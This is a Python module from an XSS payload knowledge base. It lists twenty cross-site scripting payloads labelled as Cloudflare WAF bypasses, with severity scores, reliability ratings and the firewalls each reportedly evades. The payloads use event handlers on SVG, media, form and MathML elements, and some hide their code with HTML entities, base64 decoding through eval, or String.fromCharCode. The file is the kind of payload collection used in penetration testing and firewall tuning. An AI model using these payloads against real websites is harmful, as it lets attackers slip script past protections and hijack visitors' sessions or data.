#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Cloudflare WAF Bypass Payloads
"""

from ..models import PayloadEntry


CLOUDFLARE_BYPASS_PAYLOADS = {
    # Cloudflare bypasses using encoding tricks
    "cf_bypass_1": PayloadEntry(
        payload="<img src=x onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Basic img onerror - often blocked but good baseline",
        tags=["cloudflare", "baseline", "img"],
        waf_evasion=True,
        bypasses=["none"],
        reliability="low",
    ),
    "cf_bypass_2": PayloadEntry(
        payload="<svg/onload=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG onload without space",
        tags=["cloudflare", "svg", "nospace"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="medium",
    ),
    "cf_bypass_3": PayloadEntry(
        payload="<svg\x0conload=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG with form feed character",
        tags=["cloudflare", "svg", "formfeed"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="medium",
    ),
    "cf_bypass_4": PayloadEntry(
        payload="<svg\tonload=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG with tab character",
        tags=["cloudflare", "svg", "tab"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="medium",
    ),
    "cf_bypass_5": PayloadEntry(
        payload="<svg\nonload=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG with newline character",
        tags=["cloudflare", "svg", "newline"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="medium",
    ),
    "cf_bypass_6": PayloadEntry(
        payload="<svg/onload=&#97;&#108;&#101;&#114;&#116;(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG with decimal HTML entities",
        tags=["cloudflare", "svg", "html-entities", "decimal"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
    "cf_bypass_7": PayloadEntry(
        payload="<svg/onload=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG with hex HTML entities",
        tags=["cloudflare", "svg", "html-entities", "hex"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
    "cf_bypass_8": PayloadEntry(
        payload="<img src=x onerror=eval(atob('YWxlcnQoMSk='))>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Base64 encoded payload via atob",
        tags=["cloudflare", "base64", "atob", "eval"],
        waf_evasion=True,
        bypasses=["cloudflare", "aws-waf"],
        reliability="high",
    ),
    "cf_bypass_9": PayloadEntry(
        payload="<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="String.fromCharCode encoding",
        tags=["cloudflare", "fromcharcode", "eval"],
        waf_evasion=True,
        bypasses=["cloudflare", "aws-waf", "akamai"],
        reliability="high",
    ),
    "cf_bypass_10": PayloadEntry(
        payload="<details open ontoggle=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Details element ontoggle event",
        tags=["cloudflare", "details", "ontoggle", "html5"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
    "cf_bypass_11": PayloadEntry(
        payload="<marquee onstart=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.0,
        description="Marquee onstart event (deprecated but works)",
        tags=["cloudflare", "marquee", "deprecated"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        browser_support=["chrome", "firefox"],
        reliability="medium",
    ),
    "cf_bypass_12": PayloadEntry(
        payload="<video><source onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video source onerror",
        tags=["cloudflare", "video", "source"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
    "cf_bypass_13": PayloadEntry(
        payload="<audio src=x onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Audio element onerror",
        tags=["cloudflare", "audio", "media"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
    "cf_bypass_14": PayloadEntry(
        payload="<body onpageshow=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Body onpageshow event",
        tags=["cloudflare", "body", "onpageshow"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="medium",
    ),
    "cf_bypass_15": PayloadEntry(
        payload="<input onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Input autofocus with onfocus",
        tags=["cloudflare", "input", "autofocus"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
    "cf_bypass_16": PayloadEntry(
        payload="<select onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Select autofocus with onfocus",
        tags=["cloudflare", "select", "autofocus"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
    "cf_bypass_17": PayloadEntry(
        payload="<textarea onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Textarea autofocus with onfocus",
        tags=["cloudflare", "textarea", "autofocus"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
    "cf_bypass_18": PayloadEntry(
        payload="<math><maction actiontype=statusline#http://google.com xlink:href=javascript:alert(1)>click",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.0,
        description="MathML with xlink href javascript",
        tags=["cloudflare", "mathml", "xlink"],
        waf_evasion=True,
        bypasses=["cloudflare", "modsecurity"],
        browser_support=["firefox"],
        reliability="medium",
    ),
    "cf_bypass_19": PayloadEntry(
        payload="<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG animate onbegin",
        tags=["cloudflare", "svg", "animate"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
    "cf_bypass_20": PayloadEntry(
        payload="<svg><set onbegin=alert(1) attributeName=x to=1>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG set onbegin",
        tags=["cloudflare", "svg", "set"],
        waf_evasion=True,
        bypasses=["cloudflare"],
        reliability="high",
    ),
}

CLOUDFLARE_BYPASS_PAYLOADS_TOTAL = len(CLOUDFLARE_BYPASS_PAYLOADS)
